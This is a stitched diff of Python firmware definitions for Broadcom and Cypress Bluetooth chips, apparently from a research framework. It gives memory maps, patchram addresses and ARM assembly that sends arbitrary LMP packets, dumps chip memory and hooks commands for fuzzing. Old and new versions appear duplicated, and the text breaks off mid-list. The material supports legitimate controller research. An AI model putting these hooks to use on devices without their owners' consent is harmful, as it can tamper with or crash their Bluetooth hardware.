# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
|
||||
class BCM20703A2(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0xc7fff, True, False), #0x000c0a97
|
||||
MemorySection(0xd0000, 0xe0000, False, False), #0x000dd78c
|
||||
MemorySection(0x200000, 0x240000, False, True ), #0x00217a38
|
||||
MemorySection(0x260000, 0x268fff, True, False), #0x0026841d
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x338000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False)
|
||||
]
|
||||
# Symbols contained in:
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
|
||||
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0xC7FFF, True, False), # 0x000c0a97
|
||||
MemorySection(0xD0000, 0xE0000, False, False), # 0x000dd78c
|
||||
MemorySection(0x200000, 0x240000, False, True), # 0x00217a38
|
||||
MemorySection(0x260000, 0x268FFF, True, False), # 0x0026841d
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x338000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
]
|
||||
|
||||
+134
-130
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw.py
|
||||
#
|
||||
@@ -25,145 +25,149 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge
|
||||
FW_NAME = "BCM4358A3"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x213994 # [type: 1byte] [len: 1byte] [name: len byte] #works
|
||||
BD_ADDR = 0x201C48 #works
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x9ef00, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ), # Patchram values with actual code / hooks
|
||||
#MemorySection(0xe0000, 0x1e0000, True , False), # all zero
|
||||
MemorySection(0x200000, 0x22a000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False), # all zero
|
||||
MemorySection(0x300000, 0x301000, False, False),
|
||||
MemorySection(0x310000, 0x318000, False, True ), # Patchram addresses
|
||||
MemorySection(0x318000, 0x322000, False, False),
|
||||
MemorySection(0x324000, 0x368000, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
#MemorySection(0x770000, 0x78ffff, False, False), #TODO maybe more, but all zero
|
||||
]
|
||||
class BCM4358A3(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge
|
||||
FW_NAME = "BCM4358A3"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x213994 # [type: 1byte] [len: 1byte] [name: len byte] #works
|
||||
BD_ADDR = 0x201C48 # works
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x9EF00, True, False),
|
||||
MemorySection(
|
||||
0xD0000, 0xD8000, False, True
|
||||
), # Patchram values with actual code / hooks
|
||||
# MemorySection(0xe0000, 0x1e0000, True , False), # all zero
|
||||
MemorySection(0x200000, 0x22A000, False, True),
|
||||
MemorySection(0x260000, 0x268000, True, False),
|
||||
# MemorySection(0x280000, 0x2a0000, True , False), # all zero
|
||||
MemorySection(0x300000, 0x301000, False, False),
|
||||
MemorySection(0x310000, 0x318000, False, True), # Patchram addresses
|
||||
MemorySection(0x318000, 0x322000, False, False),
|
||||
MemorySection(0x324000, 0x368000, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
# MemorySection(0x680000, 0x800000, False, False)
|
||||
# MemorySection(0x770000, 0x78ffff, False, False), #TODO maybe more, but all zero
|
||||
]
|
||||
|
||||
# Connection Struct and Table
|
||||
|
||||
# Nexus 6P works differently:
|
||||
# address 0x21AD5C holds a list with pointers to connection structs!
|
||||
# CONNECTION_ARRAY_ADDRESS = 0x21ad88 #potentially the first valid address... but not part of an array
|
||||
# CONNECTION_ARRAY_SIZE = 11 #is still 11 for Nexus 6P, but no longer hard-coded
|
||||
CONNECTION_LIST_ADDRESS = 0x21AD5C
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 # ??
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False # we can use standard ReadRAM HCI on Nexus 6P
|
||||
|
||||
LAUNCH_RAM_PAUSE = 8 # bugfix: pause between multiple readMemAligned() calls in seconds
|
||||
# not a problem: doing multiple writeMem in a row
|
||||
# the thing that crashes: executing multiple launchRam() in a row: sendhcicmd 0xfc4e 0x473CC
|
||||
# crashes even when executing 0x5E860 twice, which is just a nullsub
|
||||
# also crashes during the pause if there are other hci events
|
||||
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0x260B84 # TODO this one needs to be handed with a "branch" (without link) instead of sub+1
|
||||
HCI_EVENT_COMPLETE = 0x229C
|
||||
|
||||
# Snippet for sendLmpPacket()
|
||||
SENDLMP_CODE_BASE_ADDRESS = 0xD5130
|
||||
# TODO already works except for correct mac address - so still a problem with the connection #
|
||||
SENDLMP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3AAA8 // malloc_0x20_bloc_buffer_memzero
|
||||
mov r4, r0 // store buffer for LMP packet inside r4
|
||||
|
||||
// fill buffer
|
||||
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
// The first 12 bytes are (supposely?) unused and remain zero.
|
||||
ldr r1, =payload // LMP packet is stored at the end of the snippet
|
||||
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
|
||||
// function will use the LMP opcode to lookup the actual size and
|
||||
// use it for actually transmitting the correct number of bytes.
|
||||
bl 0x63900+1 // memcpy
|
||||
|
||||
// load conn struct pointer (needed for determine if we are master or slave)
|
||||
mov r0, %d // connection number is injected by sendLmpPacket()
|
||||
bl 0x473CC // find connection struct from conn nr (r0 will hold pointer to conn struct) //FIXME
|
||||
//FIXME: mac address is always 1f:8d:00:00:00:00
|
||||
|
||||
// set tid bit if we are the slave
|
||||
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
|
||||
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
|
||||
eor r1, 0x1 // invert and isolate the bit to get the correct value for the TID bit
|
||||
and r1, 0x1
|
||||
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
|
||||
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
|
||||
// the LSB (least significant bit) of this shifted opcode byte.
|
||||
orr r2, r1 // insert the TID bit into the byte
|
||||
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
|
||||
|
||||
|
||||
# Connection Struct and Table
|
||||
// send LMP packet
|
||||
mov r1, r4 // load the address of the LMP packet buffer into r1.
|
||||
// r0 still contains the connection number.
|
||||
pop {r4,lr} // restore r4 and the lr
|
||||
b 0xAF4C // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
# Nexus 6P works differently:
|
||||
# address 0x21AD5C holds a list with pointers to connection structs!
|
||||
# CONNECTION_ARRAY_ADDRESS = 0x21ad88 #potentially the first valid address... but not part of an array
|
||||
# CONNECTION_ARRAY_SIZE = 11 #is still 11 for Nexus 6P, but no longer hard-coded
|
||||
CONNECTION_LIST_ADDRESS = 0x21AD5C
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 #??
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False #we can use standard ReadRAM HCI on Nexus 6P
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0xD5030
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r1, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r2, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r2, 4 // + 'READ'
|
||||
mov r0, r2
|
||||
adds r0, #2 // r0 needs to be 2 higher than r2 in all malloc_hci_event_buffer calls
|
||||
bl 0x22C4 // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
LAUNCH_RAM_PAUSE = 8 # bugfix: pause between multiple readMemAligned() calls in seconds
|
||||
# not a problem: doing multiple writeMem in a row
|
||||
# the thing that crashes: executing multiple launchRam() in a row: sendhcicmd 0xfc4e 0x473CC
|
||||
# crashes even when executing 0x5E860 twice, which is just a nullsub
|
||||
# also crashes during the pause if there are other hci events
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 10 // write after the length field (offset 10 in event struct)
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
# Snippet for sendLmpPacket()
|
||||
SENDLMP_CODE_BASE_ADDRESS = 0xd5130
|
||||
#TODO already works except for correct mac address - so still a problem with the connection #
|
||||
SENDLMP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3AAA8 // malloc_0x20_bloc_buffer_memzero
|
||||
mov r4, r0 // store buffer for LMP packet inside r4
|
||||
pop {r4, lr} // return
|
||||
b 0x20F4 // send_hci_event()
|
||||
|
||||
// fill buffer
|
||||
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
// The first 12 bytes are (supposely?) unused and remain zero.
|
||||
ldr r1, =payload // LMP packet is stored at the end of the snippet
|
||||
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
|
||||
// function will use the LMP opcode to lookup the actual size and
|
||||
// use it for actually transmitting the correct number of bytes.
|
||||
bl 0x63900+1 // memcpy
|
||||
|
||||
// load conn struct pointer (needed for determine if we are master or slave)
|
||||
mov r0, %d // connection number is injected by sendLmpPacket()
|
||||
bl 0x473CC // find connection struct from conn nr (r0 will hold pointer to conn struct) //FIXME
|
||||
//FIXME: mac address is always 1f:8d:00:00:00:00
|
||||
|
||||
// set tid bit if we are the slave
|
||||
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
|
||||
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
|
||||
eor r1, 0x1 // invert and isolate the bit to get the correct value for the TID bit
|
||||
and r1, 0x1
|
||||
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
|
||||
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
|
||||
// the LSB (least significant bit) of this shifted opcode byte.
|
||||
orr r2, r1 // insert the TID bit into the byte
|
||||
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
|
||||
|
||||
|
||||
// send LMP packet
|
||||
mov r1, r4 // load the address of the LMP packet buffer into r1.
|
||||
// r0 still contains the connection number.
|
||||
pop {r4,lr} // restore r4 and the lr
|
||||
b 0xAF4C // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0xd5030
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r1, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r2, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r2, 4 // + 'READ'
|
||||
mov r0, r2
|
||||
adds r0, #2 // r0 needs to be 2 higher than r2 in all malloc_hci_event_buffer calls
|
||||
bl 0x22C4 // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 10 // write after the length field (offset 10 in event struct)
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
|
||||
pop {r4, lr} // return
|
||||
b 0x20F4 // send_hci_event()
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4345B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# iPhone 6
|
||||
FW_NAME = "BCM4345B0"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x000D0000, 0x000DFFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 # needs to be aligned read
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = True
|
||||
|
||||
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0x215000 # there is nothing free until 0xdffff, but 0x215000 looks okay during runtime
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r1, 6 // + type and length + 'READ'
|
||||
bl 0x15DD4 // hci_sendEvent (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x573B8 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x581AE // osapi_blockPoolFree
|
||||
|
||||
pop {r4, pc} // return
|
||||
"""
|
||||
@@ -0,0 +1,53 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4347B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Samsung Galaxy S8
|
||||
FW_NAME = "BCM4347B0"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x00100000, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x00130000, 0x00150000, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200000, 0x0023FFFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x20067C # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# fw_0x220e.py
|
||||
#
|
||||
# Firmware file for BCM20702A1 chipsets. These chipsets are typically used for
|
||||
# Bluetooth USB dongles.
|
||||
#
|
||||
# Copyright (c) 2019 Jan Ruge and Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM20702A2"
|
||||
|
||||
# Device Infos
|
||||
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166C
|
||||
+208
-188
@@ -20,202 +20,222 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW927035
|
||||
FW_NAME = "CYW27035B1"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
#Heap
|
||||
BLOC_HEAD = 0x200474 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283fff, False, True), # ToRam
|
||||
MemorySection(0x00300000, 0x00307fff, False, True), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(0x00326000, 0x0032ffff, False, True), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(0x00338000, 0x00367fff, False, True), # HW Regs Cortex M3 (readable) + Pka Top
|
||||
MemorySection(0x00370000, 0x0037ffff, False, True), # RTX FIFO
|
||||
MemorySection(0x00390000, 0x00397fff, False, True), # Power WD
|
||||
#MemorySection(0x00404000, 0x00407fff, False, True), # EF Registers (seem to be sometimes unavailable)
|
||||
MemorySection(0x00410000, 0x00413fff, False, True), # BT Modem Registers
|
||||
MemorySection(0x00420000, 0x00423fff, False, True), # FM Modem Registers
|
||||
MemorySection(0x00430000, 0x00433fff, False, True), # MAC 15.4
|
||||
MemorySection(0x00440000, 0x00443fff, False, True), # SecEng Top
|
||||
MemorySection(0x00450000, 0x00453fff, False, True), # Capscan Top
|
||||
MemorySection(0x00500000, 0x006007ff, False, True), # EPM RAM (readable) + RF Regs
|
||||
MemorySection(0x00640000, 0x006407ff, False, True), # CLB Regs
|
||||
MemorySection(0x00650000, 0x006507ff, False, True), # GCI Regs
|
||||
MemorySection(0x20000000, 0x2024ffff, False, True), # SRAM
|
||||
MemorySection(0x20270000, 0x20283fff, False, True), # SRAM
|
||||
MemorySection(0x20500000, 0x200fffff, False, True), # SRAM
|
||||
MemorySection(0x22000000, 0x2226ffff, False, True), # SRAM Bits?
|
||||
|
||||
MemorySection(0x40000000, 0x40003fff, False, True), # ToRam Alias / Peripherals
|
||||
MemorySection(0x42000000, 0x4207ffff, False, True), # ToRam Bits
|
||||
#MemorySection(0x60000000, 0x60000000, False, True), # Extern BlueRF SRAM (range TBD)
|
||||
#MemorySection(0xa0000000, 0xa0000000, False, True), # Extern Device Address (range TBD)
|
||||
MemorySection(0xe0000000, 0xe0100000, False, True), # Base PPB Address
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
# Connection Struct and Table
|
||||
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
|
||||
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 # ??
|
||||
class CYW20735B1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920735
|
||||
FW_NAME = "CYW20735B1"
|
||||
|
||||
# Snippet for fuzzLmp()
|
||||
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
|
||||
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
|
||||
FUZZLMP_ASM_CODE = """
|
||||
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_B08AC,
|
||||
// so command parsing is still performed as normal. We jump in
|
||||
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
|
||||
# Device Infos
|
||||
DEVICE_NAME = (
|
||||
0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
)
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
mov r0, r6 // 4 byte alignment
|
||||
# Heap
|
||||
BLOC_HEAD = 0x200474 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
// put length argument into table_entry
|
||||
// payload[5] holds the size argument
|
||||
ldr r5, =table_entry
|
||||
add r5, #4 // length offset within table entry
|
||||
ldrb r6, [r4, #5] // size is in position r4+5
|
||||
strb r6, [r5]
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283FFF, False, True), # ToRam
|
